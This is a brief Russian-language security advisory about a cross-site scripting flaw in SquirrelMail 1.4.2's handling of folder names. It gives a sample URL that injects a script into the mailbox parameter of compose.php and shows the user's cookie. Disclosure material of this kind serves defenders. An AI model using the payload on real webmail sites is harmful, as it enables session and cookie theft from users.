Программа: SquirrelMail 1.4.2
Уязвимость обнаружена в SquirrelMail в обработке имен папок. Удаленный пользователь может выполнить XSS нападение.
Пример:
http://[target]/mail/src/compose.php?mailbox="> <script>window.alert(document.cookie)
</script>